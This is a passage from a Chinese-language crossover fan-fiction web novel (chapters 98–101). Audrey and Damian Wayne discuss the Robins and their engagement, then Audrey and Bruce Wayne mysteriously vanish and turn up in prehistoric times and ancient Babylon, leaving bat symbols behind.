“哥谭市中心的广场上竖着一座蝙蝠领主的雕像。”奥德莉翻到下一页图片，立刻想起白宫门口的雕像，疑惑地说：“领主超人认定领主蝙蝠侠背叛了他，为什么还留着对方的雕像呢？” “可能因为蝙蝠侠的声望太高，领主超人不希望别人知道自己做了什么吧。”达米安说。 “我还以为你会说，领主超人还是放不下他们的‘友谊’什么的呢。” “如果他还在乎那个，就不会眼睁睁地看着领主神奇女侠去杀领主蝙蝠侠了。” “但他却没有亲自动手。大概就是因为他很坏，却又偶尔表现出一点犹豫和退让，领主蝙蝠侠才会一直对他抱有希望吧。” “听起来，你不太赞同？” “其实……我很怀疑领主超人是否还能变好，但我又相信领主蝙蝠侠一定能把他的朋友找回来。”奥德莉矛盾地说。 “无论怎样，领主蝙蝠侠都不会再让领主制度继续下去了。这次他之所以遇险，正是因为心软，但同一个错误他不会再犯第二次。”达米安笃定地说。“至于他们之间究竟是爱恨交织，还是无法放下的悔恨与执念，经过这次事件，领主蝙蝠侠一定会理性对待的。” “不理性也没关系，我倒不介意他时不时来拜访我们的世界。”奥德莉偷笑了一下。 “布鲁斯会很介意。”达米安也笑了。“你这个邪恶的棉花团子，为了自己磕cp，不管偶像死活。” “因为布鲁斯也不是真的生气嘛，我看他就是趁机逗阿尔弗雷德开心，管家先生也乐在其中。”奥德莉说出自己的旁观感受。 “他大概是半真半假吧。”达米安说。 两人在咖啡店打包了三明治，回到白宫门口的草坪上，在蝙蝠侠的雕像下铺开一张格纹野餐布，开始享用一场异世界的野餐。 “这个雕像真好看，我们的世界也应该有一座。”奥德莉仰头望着巨大的雕像，欣赏着这尊艺术品。“不如我们把它带走吧。反正两个蝙蝠侠在外观上没什么区别，黑色的雕像又区分不出制服颜色。就算是领主蝙蝠侠支付给我的交通费了。” “你想把它摆在哪里？还是放在白宫门口吗？”达米安看着雕像，开始思索要怎么把它带走，以及这个事情需要花多少钱能做到。 “韦恩庄园门口？或者韦恩大厦楼顶？”奥德莉开始一本正经地胡扯。“这次出门也没给阿尔弗雷德买什么礼物，这个纪念品他应该会喜欢，兼具了艺术性和纪念意义。” “你只是想为蝙布绯闻添加点新材料吧。”达米安笑了，忽然意识到奥德莉只是在开玩笑。 “你刚才是真的在盘算下一步的行动吗？”奥德莉看看达米安，用肘部亲昵地撞了撞他的胳膊。“别太纵容我了。” “我只是觉得不能让领主蝙蝠侠免费享受你的交通服务。”达米安有点脸红，但依旧嘴硬。“而且领主制度结束之后，他们肯定会移除这些雕像的。” “他已经为我们这顿野餐买单了。”奥德莉晃了晃领主蝙蝠侠发给他们的一沓现金。“他是不是忘了我们很快就会离开，竟然给这么多。” “典型的布鲁斯行为。”达米安评价。 “典型的韦恩行为。”奥德莉补充道。“不过好处就是，至少在异世界的时候，我知道可以去哪里蹭吃蹭喝了。” “说到韦恩……”达米安忽然想起罗宾聚餐时的讨论，“你知道，布鲁斯领养过几个孩子。” “对呀，全世界都知道。怎么了？” “我把订婚的消息告诉他们了。”达米安说。 “然后呢？”奥德莉不解地问。“你难道想过要瞒着他们吗？” “不，我的意思是，他们愿意把秘密身份告诉你。”达米安说。 “他们全都是义警？”奥德莉瞪大了眼睛。“这算是……家族产业？” “你这么说的话好像也没什么错。”达米安顿了一下。 奥德莉又有点担忧：“不会是你强制要求他们这么做的吧？我虽然见过迪克和提姆，但都不熟，他们为什么会答应？” “因为他们信任布鲁斯和我的判断。”达米安说。 “好吧，谢谢你们。我会严守秘密的。”奥德莉保证道。 “迪克是夜翼。他也是第一任罗宾。”达米安说。 “我猜到他是夜翼了。”奥德莉有点尴尬。“我后来意识到，应该不会有人睡觉都在cosplay。” “提姆是红罗宾。他也做过罗宾。” “他真是时间管理大师。”奥德莉佩服地说。“我感觉他的总裁工作强度已经很大了。” “还有杰森，你其实也见过他，他就是杰。”达米安继续说下去。“他是冰山餐厅的老板，红头罩。他也做过罗宾。” “罗宾到底换过多少人！”奥德莉震惊了。 第99章 “在我之前的一任罗宾，史蒂芬，你还没见过她。”达米安终于说完了介绍…… “在我之前的一任罗宾,史蒂芬，你还没见过她。”达米安终于说完了介绍。 “铁打的蝙蝠侠，流水的罗宾。蝙蝠侠真是厉害,不但自己战斗多年,还为社会输送了这么多高质量人才。”奥德莉发表粉丝言论。 “这就是你的感想？”达米安叹气。 “难道我说的不对吗？”奥德莉理直气壮地反问。“蝙蝠洞和霍格沃茨一样,都有一位充满智慧的老者，他无所不能，不仅能实现你们的愿望,还会帮助你们成长为出色的罗宾。” “你是在用‘老者’形容布鲁斯吗？” “当然不是。我指的是阿尔弗雷德。” “好吧……”达米安无话可说。 “不过，你确定迪克是第一任罗宾吗？如果你现在告诉我阿尔弗雷德也做过罗宾，我也不会更惊讶了。”奥德莉开玩笑地说了一个倒反天罡的设想。 “很可惜，阿福没有做过罗宾。”达米安想象了一下阿福和布鲁斯一起在哥谭夜空中飞过的场景,深觉有趣地笑了一下。“罗宾这个代号源于迪克的母亲对他的称呼。不过如果说蝙蝠侠的助手的话,那阿福是蝙蝠侠从始至终的重要助手，他的代号是‘便士一’。” “好有趣的谐音,潘尼沃斯，便士一。”奥德莉笑嘻嘻地念了一遍。“阿尔弗雷德是个有着独特幽默感的人，也许他会愿意在万圣节装扮成罗宾。” 她说这句话的时候没过脑子,话音刚落,她和达米安同时脑补出那幅画面，瞬间一起露出惊恐的表情，沉默了几秒。 奥德莉赶紧转移话题，拼命地清除脑海中出现的画面：“红头罩、红罗宾，这两个代号一听就是兄弟。” “毫无特色的代号。”达米安嗤之以鼻。“没有历史根基,也没有社会象征意义,纯粹就是词语堆砌的产物。” “好吧。那夜翼呢？这个代号听起来很浪漫。” “它来自于一个氪星传说。”达米安解释。“我觉得这个名字很适合他。他的父母都是马戏团的表演者，被称为‘飞翔的格雷森’。” “而且很符合他作为都市义警的风格,一只在夜间行动的大蓝鸟。”奥德莉评论道。“我知道他在布鲁德海文特别受欢迎。毕竟他带着多年在哥谭打击犯罪的经验，去了那里简直算是降维打击了。” “别小瞧布鲁德海文，虽然它只算得上是哥谭的一个卫星城市，但有哥谭持续输送的黑恶势力，那里的治安一度是小哥谭的级别。”达米安说。“不过那里的犯人行为模式比较传统，没有阿卡姆病人那种。” “听起来像是被哥谭淘汰的恶棍的养老之地。”奥德莉笑着打趣。“那它算不算离天堂太远，离哥谭太近？” “它确实在好与坏的方面都受到了哥谭的极大影响。韦恩集团在那边进行了不少基础建设的投资，一直在经济上输血扶持。” “那你呢？”奥德莉忽然问。“你会想要单飞吗？我知道，你打定主意要接替布鲁斯做蝙蝠侠……干嘛这么看着我？虽然你没对我直接这么说过，但你的表现已经很明显了……” “你会觉得我太傲慢吗？认定自己是唯一有资格的人。”达米安问。 “我只觉得你很勇敢，敢于承担这么重大的责任。不是每个人都能做到的。”奥德莉看着达米安的眼睛，坚定地说。“只是，布鲁斯看起来距离退休还很遥远。你不觉得，在这个期间，他可能会想为世界培养和输送更多的人才吗？” “如果只是为了培养新人的话，我不需要离开。”达米安解释道，“蝙蝠侠夜巡的助手不止是罗宾，还有蝙蝠小子、蝙蝠少女等。” “拯救人类，捕猎反派，家族事业（savingpeople，huntingbadguys，familybusiness）。”奥德莉一脸深沉地说完，随即看到达米安露出茫然和困惑的神色。 “没什么，只是觉得这句口号改编一下很适合蝙蝠家族。”奥德莉笑起来，然后躺倒在草地上，幸福地晒着太阳。 不远处，领主超人的雕像高高矗立。在这个角度看去，阳光为它镀上一层耀眼的光辉，愈发衬得它的轮廓如同天神降世，庄严而冷峻。 “超人竟然是肯特记者。”奥德莉叹了口气，回忆起自己曾经对超人的种种行为。 她曾把超人当成狗骑过——不过这件事不能怪她，因为那时候超人确实是一只狗，一只体型超级巨大的萨摩耶，而她自己也同样是一只萨摩耶。 狗狗的脑容量实在有限，她当时又一心只想着玩耍，完全没有欺负超人的意图。好在超人除了在事后对这段经历感到些许尴尬之外，并没有任何不满或怨言。 但对肯特记者，她确实曾经坏心眼地欺负过对方一次。在哥谭大学图书馆的那天，她恼怒对方和布鲁斯太亲近，试图让对方负责做搬运小丑的苦力，却被布鲁斯不动声色地制止了。幸好超人一如既往地宽厚温和，没有和她计*较。 “好丢人啊。虽然责任主要在我自己。”奥德莉郁闷地嘟囔着。 “超人大概已经忘了这件事了。”达米安试图安慰她。 “他有超级大脑，不会忘记任何事情的。”奥德莉更郁闷了。 “但他肯定不会放在心上。那些事情早就被归档在‘永不回忆’的记忆区域里了。” “希望你说的是对的。”奥德莉捡起一颗小石子，不高兴地朝领主超人的雕像扔去。“都怪领主超人。如果他不变坏，我们就不会来到这里；如果我们没来到这里，超人就不会在我面前暴露自己的人类身份。” 对于奥德莉幼稚的迁怒行为，达米安选择了无视，反正现在已经不会再有那些小机器人迅速跳出来，抓捕胆敢侮辱领主超人雕像的法外狂徒了。 他只是趁机叮嘱道：“你去平行世界的时候，一定要保持警惕。这个世界的超人虽然走上了偏激的极权统治之路，但至少还在试图维持人类的正常的道德和法律秩序。如果某个世界的超能力者彻底变得以邪恶为乐，他们的危险性是不可估量的。” “欢迎来做我的兼职吸血鬼保镖。”奥德莉邀请道。“哪怕是不危险的平行世界，我也很乐意带上你一起去。” “好的，谢谢，吸血鬼老板。”达米安笑着说。 “你好大的胆子，竟然敢含沙射影。”奥德莉坐起身，毫不客气地伸手敲了敲达米安的头。 达米安更加大胆起来，轻轻地抓住奥德莉的手，把她拉得更近了一些。 “无论你去哪里，我都想和你一起。”达米安认真地说。 “我知道。”奥德莉心满意足地和达米安额头相抵。 回到自己的世界后，奥德莉很快投入到了大学最后一年的学习中。 布莱克依旧是奥德莉最忠诚的黑猫。对于她订婚这件事，它严格地遵从在网上读到的心理学理论，依次经历了否认、愤怒、讨价还价、沮丧和接受五个阶段，每个阶段各持续了一个月。 “你完全是在对自己进行心理暗示。”奥德莉很快发现布莱克根本就是趁机撒娇，非常耐心地配合它的表演。元旦之后，布莱克终于正式宣布，考虑到奥德莉在平行世界无法召唤它，它可以接受达米安成为奥德莉的保镖，以及奥德莉的二号狗腿子。 “我的一号狗腿子是谁？”奥德莉举手提问。 “当然是我啦。”布莱克很骄傲地回答。“是我先来到你身边的。” 奥德莉揉揉布莱克的头，附和道：“你说得对。” 毕业季来临时，达米安满怀期待地问奥德莉：“我能去参加你的毕业典礼吗？” “不能。”奥德莉想也不想地否决了他的想法。“密大的毕业典礼从来都只有师生参加，家人都不能出席。” “是因为歧视麻瓜吗？”达米安撇撇嘴。 “是为了保护普通人。你知道，毕业典礼上学生经常兴奋过头，疯得花样百出，学校担心大家会搞出什么乱子误伤他人。毕竟密大的学生能做到的可不只是喝醉酒闹事那么简单。” “好吧。那密大的毕业袍和其它大学的差不多吗？”达米安接受了这个理由，好奇地追问起典礼的细节。 “你脑子里是不是在幻想魔法长袍？”奥德莉一语道破。“我们的毕业袍是很普通的款式，如果硬要说有什么特别的话，大概就是胸前绣着校徽吧。我会拍很多照片的，我妈妈已经买好了相框，准备在家里四处摆放。” “好主意。我也要这么做。”达米安立刻决定在自己的书桌上也摆一张，床头柜子上也要放一张，还有……他放弃计数，打算先印二十张。 他又问道：“上次你说阿米蒂奇教授问你是否愿意留在密大图书馆做调查员，你考虑得怎么样了？” “我和教授聊过了。我打算做一名按兴趣接任务的调查员。也许再过几年，我会找到自己想长期追踪下去的方向。”奥德莉说。“教授表示理解，还说会把我列入图书馆的外部合作名单里，这样我仍然可以接受图书馆的任务。” “听起来是很理想的状态。”达米安点点头。 奥德莉有些不好意思地说：“我敢这么决定，一个重要的原因是我找到了慷慨大方的赞助者。我知道布鲁斯很有钱，但我之所以纠结很久才接受他的赞助，是因为和他太熟了，我很担心一不小心烧钱太多，辜负了他的好意。” “你再怎么烧钱，也比不上正义联盟战损的九牛一毛。”达米安毫不在意地说。“你还记得超人曾经毁掉韦恩集团的一颗卫星吗？” “但他也帮助韦恩集团省下了之后发射好几颗卫星的费用，因为他都是人工送到轨道上的。”奥德莉笑了。“我可没办法做出这么大的贡献。” “布鲁斯对你的潜力很期待。他虽然没这么对你说过，大概是不想给你压力，但他觉得你很适合加入黑暗正义联盟。” “听起来我又有新的奋斗目标了。”奥德莉眼睛里立刻焕发出积极的光彩，恨不得下一秒就开始工作。 第100章 密大的毕业典礼那天，天气晴朗，微风和煦。奥德莉和同学们参加了一场有…… 密大的毕业典礼那天,天气晴朗，微风和煦。奥德莉和同学们参加了一场有趣又感人的毕业典礼，然后在校园里四处拍照留念。直到下午,校园里才逐渐安静下来,毕业生们依依不舍地各自离开。 “保持联系。”爱丽丝和奥德莉眼泪汪汪地拥抱了一下。她即将启程前往南美洲,参加一项归期不定的调查，可能需要几年才能完成。 “我会想你的。”奥德莉也十分不舍。两个人是朝夕相处了四年的舍友，相处得十分融洽,已经习惯了每天早晚都能见到彼此的校园生活，如今却要天各一方，心里都有些空落落的。 “我也是。”爱丽丝又和奥德莉紧紧地拥抱了一下。 回到纽约的家里，奥德莉看见冰箱门上贴着的字条,是母亲莉莉的笔迹： “毕业快乐！我烤了蛋糕,在冰箱里。今晚派对玩得开心：）” 由于不能参加奥德莉的毕业典礼，哈利索性决定在当天举行一场小派对,一并庆祝四个人的毕业。 奥德莉把蛋糕拿出来，放在料理台上，然后在群里发消息：“我妈妈烤了香蕉巧克力蛋糕,我等下带过去。” 她又拿起一支笔,在字条后面写上：“谢谢妈妈，爱你。” 想了想，奥德莉又给达米安发信息：“你看这个蛋糕是不是很美味。猜猜我花了多久做的？我要去参加毕业生派对啦。明天去找你。” 之后，她随手将手机放在蛋糕旁边，准备上楼换衣服。 下一秒,厨房里的人无声无息地消失了。桌子上的手机孤零零地躺着,屏幕偶尔亮起几秒，弹出几条新消息,又归于寂静。 格温：“替我谢谢阿姨。” 哈利：“你在哪里？怎么还没到？” 达米安：“玩得开心。蛋糕看起来很美味，你花了零秒，因为是莉莉阿姨烤的。明天我做苹果派等你。” 又过了一阵子，彼得在四人群里慌乱地说：“我到奥德莉家了。这里没人，蛋糕摆在料理台上，她的手机就在旁边。” 这时，奥德莉的手机屏幕忽然亮了。彼得吓了一跳，下意识地看去，然后才反应过来这是群消息提示。 哈利和格温对视一眼，直接拨打了彼得的电话：“这很不像她。即使只是出门买点零食，她也肯定会带上手机的。” 格温在旁边着急地问：“会不会是有人绑架了她？” 彼得仔细查看四周：“完全没有打斗痕迹。” 格温做了一个深呼吸，努力冷静下来：“也许是魔法。复仇者联盟里是否有人可以求助？” “斯特兰奇博士。”彼得立刻说。“我这就去找他。你们等我消息。” “我们去奥德莉家等你。”哈利说。 半小时后，三个年轻人盯着斯特兰奇博士神情严肃地检查房间，试图从他的表情中看出点什么，但一无所获。 “他不需要什么工具吗？放大镜？”哈利小声地问彼得。 “又不是福尔摩斯在探案。他在感知魔力波动……我猜。”彼得也小声地回答。 “我感觉不到魔力的波动……”斯特兰奇博士忽然开口，把窃窃私语的三个人吓了一跳。 彼得立刻问：“那她是怎么消失的？” “……但我感觉到了时间的波动。”斯特兰奇博士继续说完。 “什么意思？”彼得迷惑地问。 “时间就像一片宁静的湖泊。如果一个人穿越了时间，她会在出发和抵达的时间激起涟漪般的波动。这就是我在这里观察到的。” 彼得眨眨眼：“你是说，她穿越到了过去？或者是未来？但是如果没有魔力的波动，那是怎么发生的？有人造出了时间机器？” 斯特兰奇博士和彼得一起做过几次任务，对他的一长串发问习以为常。他说：“如果是时间机器造成的，这里应该会留下物理层面的扰动，比如残留的热量、扭曲的空气结构，或者是微观粒子的异常。所以，我更倾向于这是魔法造成的时间穿越，只不过魔法的释放地点并不在这里，能量的源头可能距离我们很远，所以我感知不到魔力波动。” “为什么会有人想带走她？”格温急切地问。 “可能与她的血脉有关。我见过她，她身上有一种异常的气息，像是与时间和空间的本源之间存在一种天然的联系。那不是后天习得的能力，而是一种根植于血脉、与生俱来的印记。” 斯特兰奇博士顿了一下，说：“也许，她的祖先曾与某种古老存在签下契约，而她正是那个契约的延续。她从家族的血脉中继承了这份力量。” “你的意思是，有人想利用她的特殊血脉，所以绑架了她？”哈利问。 “总不可能是谋求钱财吧。”斯特兰奇博士环顾四周，平静地说。 “那她的父母会不会也有危险？约翰叔叔和莉莉阿姨快下班了，您能留在这里等等他们吗？”彼得提议道。 斯特兰奇博士同意了。四个人坐在餐桌旁，空气中弥漫着一股沉重的压抑感。 不久，约翰和莉莉回到家，听闻了发生的事情，都感到十分忧虑。他们望着斯特兰奇博士，期待他能从两人身上看出什么线索。 “抱歉，你们身上没有那种气息。奥德莉是你们的亲生女儿吗？”斯特兰奇博士直截了当地发问，毫无委婉修饰。 “当然是。”莉莉被这个问题惹怒了。 “那也许是隔代遗传。”斯特兰奇博士被披风用力地抽打了一下，意识到自己的问题似乎不太礼貌，赶紧补充一个可能性。 “我的姑姑好像也有特殊能力。”约翰说。“她去世前特意把财产留给奥德莉，会不会是因为她知道奥德莉是继承了家族血脉的那一个，而我没有。” “可是她从没见过奥德莉。”莉莉反驳。 斯特兰奇博士陷入沉思：“但她显然非常确定，奥德莉是特殊的。” 沉默片刻后，莉莉望向约翰，低声问：“我们现在该怎么办？要报警吗？” “这不是警察能处理的问题。”斯特兰奇博士插话。“你们知道复仇者联盟吗？” “当然。”约翰和莉莉异口同声地说。 “我们会想办法的。等我的消息。”斯特兰奇博士说完，在空中画出一个光芒交织的传送门，离开了。 “斯特兰奇博士最擅长时间和空间的魔法，他一定会想出办法的。”彼得努力让自己的语气坚定，但他自己也意识到，这听起来更像是在自我安慰。 约翰和莉莉默默点头，宁愿相信彼得说的就是绝对正确的事实。 “你们要吃点东西吗？”莉莉勉强挤出一丝微笑，询问三个年轻人。 “我还是先回去，看看还有什么人可以帮忙。”哈利站起身，语气平静，但大家都能听出他强压着的焦躁。 格温和彼得也跟着起身。格温说：“我相信奥德莉一定会平安回来的。” 三个年轻人离开了。约翰和莉莉焦虑却无助地坐在餐桌边，厨房里仍飘着蛋糕的香味，可两人却毫无食欲。 他们讨论着可能的原因，从奥德莉小时候有没有什么异常表现，一直说到那位神秘的姑姑，每一个细节都被拿出来反复推敲，却始终找不到答案。 奥德莉的手机忽然响了一声。莉莉看向屏幕，是达米安的信息：“有急事，有空时打给我。” “达米安。”她念出这个名字，语气里有些迟疑，“我们要告诉他吗？” “也许奥德莉今晚就回来了呢。”约翰轻声说，像是在安慰她，也像是在安慰自己。 莉莉沉默了几秒，然后低声说：“那明天。最晚明早，我们得告诉他。” 她明白丈夫的想法——那是一种几乎近乎迷信的心理，就好像一旦通知了达米安，就等于承认奥德莉真的出事了。 这种想法当然不理性。告诉达米安与奥德莉是否平安归来，这是毫不相关的两件事。但莉莉还是情愿抱着这份微弱的侥幸，哪怕只是为了自己的一点心理慰藉。 尽管没有收到回复，达米安并没有继续给奥德莉发信息。 一方面，他知道她在和朋友聚会，他不想像一只黏人的大猫一样打扰她；另一方面，他的心思已经被另一件棘手的事情占据。 布鲁斯失踪了。 达米安是在准备夜巡之前才意识到这一点的。 布鲁斯一向习惯提前抵达蝙蝠洞，查看当天的情报信息，评估是否需要有针对性地部署行动。可这一天，达米安没有见到布鲁斯坐在主控台的屏幕前，已经感觉非常不对劲。他立刻调出出行记录，却发现什么也没有。 他立刻回到大宅去找阿尔弗雷德，询问他是否见过布鲁斯。 当意识到两人都已经整整大半天没见过布鲁斯，也没收到他的任何讯息之后，他们立刻将蝙蝠洞的防御级别调至最高，并联系蝙蝠系义警。 “正义联盟那边有人知道情况吗？”还在韦恩大厦加班的提姆问。 “已经问过了。没有人见过布鲁斯，也没有任何关于他行踪的记录。”阿尔弗雷德说。 “他不会就这么凭空消失。一定是出事了。”迪克说。“我今晚可以代班夜巡，我现在就回哥谭。” “我不相信有人能把老家伙从蝙蝠洞里绑架走，还半点痕迹都不留。”杰森已经骑着摩托回家了。在蝙蝠洞仔细检查一番之后，他断定是魔法侧搞的鬼。 “我已经联系了黑暗正义联盟。”达米安说。“扎坦娜很快就到。” 在检查了韦恩大宅和地下的蝙蝠洞后，扎坦娜说：“这里确实残留着魔力波动，但我无法辨认施法者的身份。感觉不像是常规魔法，更像是外神的气息。” “你是说，某个外神的信徒施法绑走了布鲁斯吗？”达米安问。 扎坦娜摇了摇头：“不，更像是某个外神直接绑走了布鲁斯。” 达米安忽然想到了什么，跑回自己的房间，从床头抽屉中取出了一条挂着小巧吊坠的细链，又回到蝙蝠洞。 众人望着达米安手中的吊坠。那块被金色金属包围的蓝紫色石头此刻正散发出微微的热量，伴随着模糊的呢喃声。 “这是奥德莉送给我的低语之石，能侦测到旧日支配者或外神意识波动的干扰。”达米安解释说。 “我和密大的人有联系。”扎坦娜说。“但我猜你们不希望布鲁斯失踪的事情被外人知道，对吧？” “是的。奥德莉或许能帮上忙。我这就联系她。”达米安说。 他立刻给奥德莉发了一条信息：“有急事，有空时打给我。” “我也会匿名打听消息。”扎坦娜说，然后离开了。 “看来我得代班一阵子了？”迪克从布鲁德海文赶回哥谭后，苦笑地开始编造请假理由。 “我们还需要为布鲁斯制造一些行动踪迹，避免被人发现他不见了。”提姆说。 直到蝙蝠家开完内部会议，奥德莉仍然没有回复。达米安皱起眉，说：“有什么事情不对劲。” “我记得奥德莉小姐今晚要参加派对，也许她只是没看手机。”阿尔弗雷德说。 达米安摇摇头，心里生出一种不祥的预感。他直接拨打了奥德莉的电话。 接电话的人竟是莉莉。她的声音听起来和平时不一样，就好像是在努力保持镇定，却仍带着压制不住的颤抖：“达米安，晚上好。” “晚上好。奥德莉已经回家了？她方便接电话吗？” “她……”莉莉只说了一个字就哽咽了。 达米安的心猛地沉了下去。 “她失踪了。”莉莉抽泣了一声。 “什么？”达米安大吃一惊。“这是什么时候的事？下午她还给我发过信息。” “大概就是在下午的某个时候。她没有去派对，彼得他们来家里找她，才发现她不见了。” “你们报警了吗？”达米安问。 “还没有。彼得找了一个朋友，那人说复仇者联盟会帮忙找人。” 达米安努力压住心头的焦虑，安慰了莉莉几句，叮嘱她一有消息马上通知自己，然后才挂断了电话。 “奥德莉也失踪了。”他对着还没离开的众人说。 “什么？这是巧合，还是有人或者什么外神同时绑架了他们两个？”杰森震惊得几乎跳起来。 “我不相信这只是巧合。”提姆说。“看来我们有大事要忙了。”【你现在阅读的是 】 100-104 第101章 奥德莉环顾四周，只见树木层叠、土坡起伏。她不禁庆幸自己在向达米安学…… 奥德莉环顾四周,只见树木层叠、土坡起伏。她不禁庆幸自己在向达米安学习野外生存技巧时没有偷懒。 此时的她除了身上的一套轻薄夏装之外，什么也没有。没有手机，没有钱,更没有仪式材料。 不过话说回来,在这片看起来人迹罕至的荒野里,手机和钱恐怕也派不上什么用场。 忽然，她注意到不远处一棵大树下躺着一个人。她立刻警觉起来，悄悄地走近几步,而当她终于看清对方的面容时，整个人都愣住了，随即快步跑了过去。 她迅速检查了一番，确认布鲁斯没有明显外伤,呼吸也还算平稳,这才松了口气。她见布鲁斯仍未醒来，便试着喊他的名字：“布鲁斯。” 男人没有任何反应,奥德莉感到担忧起来，用力地拍打他的肩膀，声音也变得急切：“布鲁斯！布鲁斯,醒醒。” “奥德莉？”布鲁斯终于睁开了眼睛,挣扎着起身。 “你感觉怎么样？”奥德莉连忙扶住他，让他靠在树干上坐好，“你感觉怎么样？” “现在好多了。”布鲁斯低头看了眼自己身上的蝙蝠侠制服，努力回想最后的记忆。“我记得我刚到蝙蝠洞，换上了制服。没有任何入侵警报,也没有什么异常迹象。” “我当时正在家里,准备去参加毕业派对。”奥德莉也尝试着回忆。“我不记得有任何人出现在我家里，就只是……忽然发生了。” “没有信号。”布鲁斯确认过通讯器之后,又抬腕看了眼手表，却发现它已经失灵，指针全部停在数字十二。他转而看向天空。 太阳尚未到达正顶，估计是上午九点左右。 “太阳偏南……所以我们在北半球。”他快速地计算着。“高度角接近四十度，纬度大概在三十到四十度之间。” “我们还在美洲大陆。”奥德莉迅速接话。“我们可以呼叫超人求助吗？” 布鲁斯对这个投机取巧的想法不置可否，奥德莉便仰起头，对着天空喊道：“超人，我是奥德莉。布鲁斯和我被困在这里了。请来带我们回家。” 奥德莉等了几分钟，没有等到回应。她又喊了一遍，仍然没有看到那抹红色披风。 “超人不会也出事了吧？”奥德莉不确定地说。 “也可能是我们不在地球上。”布鲁斯说。“我们先找到水源，沿着它走，看看能不能找到人类活动的痕迹。” 奥德莉应了一声，跟在布鲁斯身边默默前行。 走出没多远，布鲁斯忽然蹲下身查看地上的痕迹，说：“这种巨大的蹄印不属于任何现代动物，更像是某种已经灭绝的大型哺乳类。” 奥德莉一直在留意着沿途有什么可食用的植物。她也蹲下身，伸手折下一根草叶，仔细观察之后说：“这些植物也很奇怪。它像是苍耳属，却和我认识的美洲品种不太一样。” 两人对视一眼，布鲁斯说：“也许我们还在地球上，但可以肯定的是，我们已经不在现代了。” 就在这时，一阵嘈杂的呼喊声从林间传来。两人迅速躲到一棵大树后面，望向声音的方向。 十几名古铜肤色的人正在围攻一只巨大的动物。他们身上几乎没有衣物，只用兽皮和草绳简单遮挡，手中握着工艺粗糙的石矛和骨制武器，眼神充满野性。 “他们似乎连语言都没发展出来，只是靠简单的吼声和手势交流。”奥德莉小声说。那些人忙着与野兽战斗，完全没意识到他们在被两个天外来客围观。 “没错，他们是原始人。”布鲁斯说。“那只野兽是史前野牛。他们怎么敢与这个体型的野兽战斗？” 两人很快就明白了缘由。 不远处的岩石下，几个妇人、幼童和老人正被另一群青壮年严密守护着，而那头野牛正是试图冲向这片居所。面对威胁，部落战士分成两队，一队保护族人，另一队则试图将野牛引开或逼退。 “我们要帮他们吗？”奥德莉问，目光落在一名孕妇身上。“我知道，帮一次也许改变不了什么……他们的生活总是危机四伏的。但你看她，似乎受了惊吓，一直在呻吟。” 布鲁斯犹豫了一会儿，最终说：“我们只帮这一回。希望不会干扰历史。” 说完，他从树后大步走出，奥德莉紧随其后。 巨大的史前野牛仍在疯狂嘶吼，几名原始人顽强地举着武器，却挡不住它的冲撞。蝙蝠侠如同黑影般穿过人群，仅用几个动作便精准地制服了野兽。他敏捷地绕到野牛侧后方，一记干脆利落的攻击击中其颈部神经，巨兽轰然倒地，尘土飞扬。 原始人们一时间怔在原地，看着这个仿佛从天而降的黑衣人和他的伙伴。 蝙蝠侠没有停在原地等待膜拜。他和奥德莉快步穿过人群，来到那名神情痛苦的孕妇身边。 “她因恐慌引发了早产。”蝙蝠侠立刻跪在孕妇旁边，像经验丰富的医生一样冷静。他一边接生，一边指挥奥德莉为孕妇按摩并安抚对方。 一番忙碌后，婴儿终于在一阵哭声中降生。 原始人们开始围拢上来，看到母子平安后，立刻爆发出一阵激动的大喊。他们还未发展出语言，只是发出重复而有节奏的音节。 有人跳跃着挥舞手中的石器，有人高高举起双手，有人缓缓跪下，有人在蝙蝠侠和奥德莉脚边堆放果实与兽骨。 蝙蝠侠神情复杂地站起身。奥德莉站在他身边，愣愣地说：“你不仅打倒了猛兽，还带来了新的生命。他们把你当成了神。” 蝙蝠侠没有回应，只是沉默地看着几个小孩用石片在树干上刻下图案。那是最原始的图腾。 那是一只展翅的蝙蝠。 奥德莉忽然感到一阵眩晕。她小声说：“我们是不是可以分一些野牛肉？我有点饿了。” 布鲁斯刚转过头看她，还没开口，两人便从原地消失了。 现代，韦恩庄园。 这是罗宾们连续第三天聚在一起开会了。 对于奥德莉和布鲁斯同时失踪一事，杰森百思不得其解，怎么也想不出两者之间有什么联系。直到他猛地抬头，看见眉头紧皱的达米安。 “你觉得……有可能是你母亲干的吗？”杰森对达米安试探着说。 “什么？”达米安的第一反应是杰森的脑洞太大，简直需要治病。但他转念一想，奥德莉和布鲁斯的最大关联点确实是自己。“但她有这个能力吗？外神又不是她养的狗。” “你们刺客联盟也不是什么科学组织。”提姆说，似乎觉得杰森的猜测有可取之处。“拉撒路池就是魔法的产物吧。” 听到拉撒路池，达米安的第一反应是，奥德莉当年曾经取走一瓶池水的事情东窗事发了。但如果是这样，没有理由把布鲁斯也抓走。 “塔利亚知道你订婚了吗？”迪克问。 “我告诉母亲了。她没有异议。”达米安说。 事实上，塔利亚在通过某种渠道得知奥德莉拥有特殊血脉后，非但没有反对，反而对达米安的选择大加赞扬，并催促他们赶紧生几个孩子。 达米安立刻告诉塔利亚这不关她的事。塔利亚倒也不生气，还热心地推荐刺客联盟的生育辅助科技：“告诉奥德莉，我们可不做取卵那种伤害身体的事情。我可以直接用你们的基因制造孩子，全程体外培育。她只需要提供一滴指血就行了。” 达米安想起和塔利亚的对话，很确定她对奥德莉并不抱有负面情绪：“而且我们订婚已经一年了，母亲可不是那种能忍耐这么久的人。” “但你会去亲自确认一下，对吗？”迪克的语气中带着恳求。 “当然。”达米安坚定地说。他不会放过任何线索，无论它看起来有多么牵强。 奥德莉和布鲁斯发现他们又一次穿越了时空，出现在古巴比伦一座宏伟的神庙之中。 神庙深处，战神的祭司独自跪伏在石案前，面色苍白、手指颤抖，正试图完成一组晦涩难解的天文计算。她被授予预测下一次陨石坠落的时间的任务，如果预测失败，不仅她本人将被处以极刑，连她的家族也将一同受牵连。 她绝望地跪在那里，低声向神明祈求帮助。 “古巴比伦的文化在灭国后便彻底失传了。帮她……不算影响历史吧？”奥德莉听不懂祭司的语言，布鲁斯为她做了简单的翻译。 蝙蝠侠沉默片刻，终于迈步从藏身之处走出，奥德莉紧随其后。 两人的出现令祭司大为震惊，她猛然转身，瞪大双眼，脸上写满了惧意与困惑。她下意识地以为这是神明降下的警告，甚至不敢起身，只能瘫坐原地，不断低喃着。 然而，在蝙蝠侠带着奥德莉完成复杂的天文学计算后，面对精准得超出时代认知的解答，祭司的眼神逐渐变得敬畏而虔诚。 她用楔形文字在黏土板上记录两人的降临，并在末尾庄重地刻下一个符号。 一只展翅的蝙蝠。 蝙蝠侠与奥德莉凝视着祭司画下蝙蝠标记的最后一笔，下一秒，他们的身影消失了。 